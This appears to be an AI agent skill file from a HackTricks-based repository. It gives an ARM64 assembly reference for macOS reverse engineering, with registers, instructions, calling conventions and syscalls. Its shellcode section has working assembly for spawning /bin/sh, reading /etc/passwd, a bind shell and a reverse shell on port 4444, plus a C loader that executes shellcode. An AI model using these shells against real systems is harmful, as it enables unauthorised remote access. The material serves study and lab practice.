Hacktricks-skills arm64-assembly-reference
ARM64 assembly language reference for macOS security and reverse engineering. Use this skill whenever the user asks about ARM64 assembly, registers, instructions, exception levels, calling conventions, shellcode, or macOS system calls. This includes questions about writing assembly code, understanding disassembly, creating shellcode, or working with ARM64 architecture concepts. Make sure to use this skill when users mention ARM64, aarch64, assembly, shellcode, syscalls, registers like x0-x30, or macOS binary exploitation.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly/SKILL.MDARM64 Assembly Reference for macOS Security
This skill provides comprehensive reference material for ARM64 assembly language, with a focus on macOS security, reverse engineering, and exploitation.
Exception Levels (EL)
ARMv8 defines four exception levels that control privilege and capabilities:
| Level | Name | Purpose |
|---|---|---|
| EL0 | User Mode | Regular application code, least privileged |
| EL1 | Kernel Mode | Operating system kernel, accessed via from EL0 |
| EL2 | Hypervisor Mode | Virtualization, accessed via from EL1 |
| EL3 | Secure Monitor | Secure boot/TEE (not used by modern macOS) |
Key transitions:
- EL0 → EL1:
(Supervisor Call) instructionSVC - EL1 → EL2:
(Hypervisor Call) instructionHVC - EL2 → EL3:
(Secure Monitor Call) instructionSMC
General-Purpose Registers
ARM64 has 31 general-purpose registers (
x0-x30), each 64-bit. 32-bit operations use w0-w30.
Register Categories
| Register(s) | Purpose | Volatile? |
|---|---|---|
- | Function arguments, return value () | Yes |
| System call number (Linux) | Yes |
- | Temporary/local variables | Yes |
- | Intra-procedural call, syscall number on macOS | Yes |
| Platform register (reserved on some systems) | Yes |
- | Callee-saved (must preserve across calls) | No |
| Frame pointer () | No |
| Link register (), holds return address | No |
| Stack pointer (must be 16-byte aligned) | - |
| Program counter (read-only via branches) | - |
/ | Zero register (always reads as 0) | - |
Special Registers
: Thread-local storage base (readable/writable from EL0)TPIDR_EL0
: Thread-local storage (readable from EL0, writable from EL1)TPIDR_EL1
Access via
mrs (read) and msr (write):
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0 msr TPIDR_EL0, x0 ; Write x0 into TPIDR_EL0
SIMD/Floating-Point Registers
32 registers of 128-bit length, accessible at different widths:
: 128-bitQn
: 64-bitDn
: 32-bitSn
: 16-bitHn
: 8-bitBn
PSTATE (Process State)
Stored in
SPSR_ELx when exceptions occur. Key fields:
| Field | Description |
|---|---|
| Negative result flag |
| Zero result flag |
| Carry flag |
| Signed overflow flag |
| Register width (0 = AArch64) |
| Current exception level |
| Single-stepping (debugger) |
| Exception masking (Debug, Async, IRQ, FIQ) |
| Stack pointer select (EL1+) |
Note: Not all instructions update flags. Use
cmp, tst, or instructions with s suffix (e.g., adds, subs).
Calling Convention
Parameter Passing
- First 8 parameters:
throughx0x7 - Additional parameters: Passed on stack
- Return value:
(orx0
+x0
for 128-bit values)x1 - Preserved across calls:
-x19
,x28
(fp),x29
(lr),x30sp
Function Prologue
stp x29, x30, [sp, #-16]! ; Save frame pointer and link register mov x29, sp ; Set new frame pointer sub sp, sp, #<size> ; Allocate stack space for locals
Function Epilogue
add sp, sp, #<size> ; Deallocate stack space ldp x29, x30, [sp], #16 ; Restore frame pointer and link register ret ; Return to caller
Common Instructions
Data Movement
| Instruction | Description | Example |
|---|---|---|
| Move value between registers | |
| Load from memory | |
| Store to memory | |
| Load pair of registers | |
| Store pair of registers | |
| Compute page address | |
| Load signed 32-bit, extend to 64 | |
Memory Addressing Modes
ldr x2, [x1, #8] ; Offset mode: x1 + 8 ldr x2, [x1, #8]! ; Pre-indexed: load x1+8, update x1 ldr x0, [x1], #8 ; Post-indexed: load x1, then x1+8 ldr x1, =_start ; PC-relative addressing
Arithmetic
| Instruction | Description | Example |
|---|---|---|
/ | Add (with/without flags) | |
/ | Subtract (with/without flags) | |
| Multiply | |
| Divide | |
Shift operations:
add x5, x5, #1, lsl #12 ; x5 + (1 << 12) = x5 + 4096
Shifts and Rotates
| Instruction | Description |
|---|---|
| Logical shift left (multiply by 2^n) |
| Logical shift right (unsigned divide by 2^n) |
| Arithmetic shift right (signed divide by 2^n) |
| Rotate right |
| Rotate right with extend (uses carry flag) |
Bitfield Operations
| Instruction | Description | Example |
|---|---|---|
| Bitfield move | |
| Signed bitfield move | |
| Unsigned bitfield move | |
| Bitfield insert | |
| Bitfield extract and insert | |
| Sign-extend and insert | |
| Zero-extend and insert | |
Sign/Zero Extension
| Instruction | Description |
|---|---|
| Sign-extend byte to 64-bit |
| Sign-extend halfword to 64-bit |
| Sign-extend word to 64-bit |
| Zero-extend byte to 64-bit |
| Zero-extend halfword to 64-bit |
| Zero-extend word to 64-bit |
Comparison
| Instruction | Description | Example |
|---|---|---|
| Compare (alias of to zero) | |
| Compare negative (alias of ) | |
| Conditional compare | |
| Test bits (AND without store) | |
| Test equality (XOR without store) | |
Branching
| Instruction | Description | Example |
|---|---|---|
| Unconditional branch | |
| Branch with link (call) | |
| Branch to register | |
| Return from subroutine | |
| Branch if equal | |
| Branch if not equal | |
| Compare and branch on zero | |
| Compare and branch on non-zero | |
| Test bit and branch on zero | |
| Test bit and branch on non-zero | |
Conditional Select
| Instruction | Description | Example |
|---|---|---|
| Conditional select | |
| Conditional select and increment | |
| Conditional increment | |
| Conditional select and invert | |
| Conditional set (0 or 1) | |
| Conditional set mask | |
System Calls
mov x16, #59 ; syscall number (macOS uses x16) svc #0x1337 ; trigger syscall (immediate doesn't matter)
macOS System Calls
BSD Syscalls
- Use
x16 > 0 - Reference:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h - Source: syscalls.master
Mach Traps
- Use
(negative numbers)x16 < 0 - Maximum:
= 128MACH_TRAP_TABLE_COUNT - Example:
=_kernelrpc_mach_vm_allocate_trap-10 - Reference: syscall_sw.c
Common Syscall Numbers
| Number | BSD Syscall | Description |
|---|---|---|
| 1 | | Exit process |
| 2 | | Fork process |
| 59 | | Execute program |
| 97 | | Create socket |
| 98 | | Connect socket |
| 104 | | Bind socket |
| 106 | | Listen on socket |
| 30 | | Accept connection |
| 90 | | Duplicate file descriptor |
Finding Syscall Information
# Extract libsystem_kernel.dylib from dyld cache dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e # Or check source directly cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
Comm Page
Kernel-owned memory page mapped into every user process for fast kernel access. Example:
gettimeofday reads directly from comm page.
objc_msgSend
Objective-C/Swift message sending:
:x0
(instance pointer)self
: selector (method name)x1
+: method argumentsx2
Debug with LLDB:
(lldb) po $x0 # Show object (lldb) x/s $x1 # Show selector string (lldb) po [$x0 launchPath] # Show property
Enable logging:
NSObjCMessageLoggingEnabled=1
Shellcode Examples
Basic Shell (execve /bin/sh)
.section __TEXT,__text .global _main .align 2 _main: adr x0, sh_path ; Address of "/bin/sh" mov x1, xzr ; argv[1] = NULL mov x2, xzr ; envp = NULL mov x16, #59 ; execve syscall svc #0x1337 sh_path: .asciz "/bin/sh"
Shell with Stack String
.section __TEXT,__text .global _main .align 2 _main: ; Build "/bin/sh" in x1 mov x1, #0x622F movk x1, #0x6E69, lsl #16 movk x1, #0x732F, lsl #32 movk x1, #0x68, lsl #48 str x1, [sp, #-8] ; Store on stack mov x1, #8 sub x0, sp, x1 ; x0 = address of string mov x1, xzr mov x2, xzr mov x16, #59 svc #0x1337
Read /etc/passwd
.section __TEXT,__text .global _main .align 2 _main: sub sp, sp, #48 ; Allocate stack space mov x1, sp ; x1 = argv array address adr x0, cat_path str x0, [x1] ; argv[0] = "/bin/cat" adr x0, passwd_path str x0, [x1, #8] ; argv[1] = "/etc/passwd" str xzr, [x1, #16] ; argv[2] = NULL adr x0, cat_path ; x0 = "/bin/cat" mov x2, xzr ; envp = NULL mov x16, #59 ; execve svc 0 cat_path: .asciz "/bin/cat" passwd_path: .asciz "/etc/passwd"
Bind Shell (port 4444)
.section __TEXT,__text .global _main .align 2 _main: ; socket(AF_INET, SOCK_STREAM, 0) mov x16, #97 lsr x1, x16, #6 ; x1 = 1 (SOCK_STREAM) lsl x0, x1, #1 ; x0 = 2 (AF_INET) mov x2, xzr svc #0x1337 mvn x3, x0 ; Save socket fd ; bind(s, &sockaddr, 16) mov x1, #0x0210 ; sin_len=16, sin_family=2 movk x1, #0x5C11, lsl #16 ; sin_port=4444 str x1, [sp, #-8] mov x2, #8 sub x1, sp, x2 mov x2, #16 mov x16, #104 svc #0x1337 ; listen(s, 2) mvn x0, x3 lsr x1, x2, #3 ; x1 = 2 mov x16, #106 svc #0x1337 ; accept(s, 0, 0) mvn x0, x3 mov x1, xzr mov x2, xzr mov x16, #30 svc #0x1337 mvn x3, x0 ; Save client fd ; dup(c, 2) -> dup(c, 1) -> dup(c, 0) lsr x2, x16, #4 ; x2 = 2 lsl x2, x2, #2 ; x2 = 8 (loop counter) _dup_loop: mvn x0, x3 lsr x1, x2, #1 mov x16, #90 svc #0x1337 mov x10, xzr cmp x10, x2 bne _dup_loop ; execve("/bin/sh", 0, 0) mov x1, #0x622F movk x1, #0x6E69, lsl #16 movk x1, #0x732F, lsl #32 movk x1, #0x68, lsl #48 str x1, [sp, #-8] mov x1, #8 sub x0, sp, x1 mov x1, xzr mov x2, xzr mov x16, #59 svc #0x1337
Reverse Shell (127.0.0.1:4444)
.section __TEXT,__text .global _main .align 2 _main: ; socket(AF_INET, SOCK_STREAM, 0) mov x16, #97 lsr x1, x16, #6 lsl x0, x1, #1 mov x2, xzr svc #0x1337 mvn x3, x0 ; connect(s, &sockaddr, 16) mov x1, #0x0210 movk x1, #0x5C11, lsl #16 ; port 4444 movk x1, #0x007F, lsl #32 ; 127.0.0.1 movk x1, #0x0100, lsl #48 str x1, [sp, #-8] mov x2, #8 sub x1, sp, x2 mov x2, #16 mov x16, #98 svc #0x1337 ; dup(s, 2) -> dup(s, 1) -> dup(s, 0) lsr x2, x2, #2 _dup_loop: mvn x0, x3 lsr x1, x2, #1 mov x16, #90 svc #0x1337 mov x10, xzr cmp x10, x2 bne _dup_loop ; execve("/bin/sh", 0, 0) mov x1, #0x622F movk x1, #0x6E69, lsl #16 movk x1, #0x732F, lsl #32 movk x1, #0x68, lsl #48 str x1, [sp, #-8] mov x1, #8 sub x0, sp, x1 mov x1, xzr mov x2, xzr mov x16, #59 svc #0x1337
Building and Testing Shellcode
Compile Assembly
# Assemble as -o shell.o shell.s # Link (macOS) ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib # Or with xcrun ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Extract Shellcode Bytes
# For older macOS for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\x'$c done # For newer macOS (byte order fix) for s in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}' done
Test Shellcode (C Loader)
#include <stdio.h> #include <sys/mman.h> #include <string.h> #include <stdlib.h> int (*sc)(); char shellcode[] = "<INSERT SHELLCODE HERE>"; int main() { void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); memcpy(ptr, shellcode, sizeof(shellcode)); mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); sc = ptr; sc(); return 0; }
Compile:
gcc loader.c -o loader
AArch32 Execution State
ARMv8 can execute 32-bit code in AArch32 state:
Instruction Sets
- A32: 32-bit ARM instructions
- T32: 16/32-bit Thumb instructions
Transition
- 64-bit → 32-bit: Lower exception level (e.g., EL1 → EL0)
- Set bit 4 of
to 1SPSR_ELx - Use
to transitionERET
AArch32 Registers
| Register | Purpose |
|---|---|
- | General purpose |
| Frame pointer |
| Intra-procedural call |
| Stack pointer (16-byte aligned) |
| Link register |
| Program counter |
CPSR (Current Program Status Register)
Similar to PSTATE in AArch64:
- APSR: Application flags (N, Z, C, V, Q, GE)
- J/T bits: Instruction set selection (J=0, T=0 → A32; J=0, T=1 → T32)
- E bit: Endianness
- Mode bits: Current execution mode
Tips for Reverse Engineering
- Look for prologue/epilogue patterns to identify function boundaries
- Check x16 before svc to identify syscall numbers
- Follow x0-x7 to trace function arguments
- Use x29 (fp) to navigate stack frames
- Watch x30 (lr) for return addresses
- Check for objc_msgSend in Objective-C/Swift binaries
- Use LLDB to inspect registers at breakpoints
- Reference libsystem_kernel.dylib for syscall implementations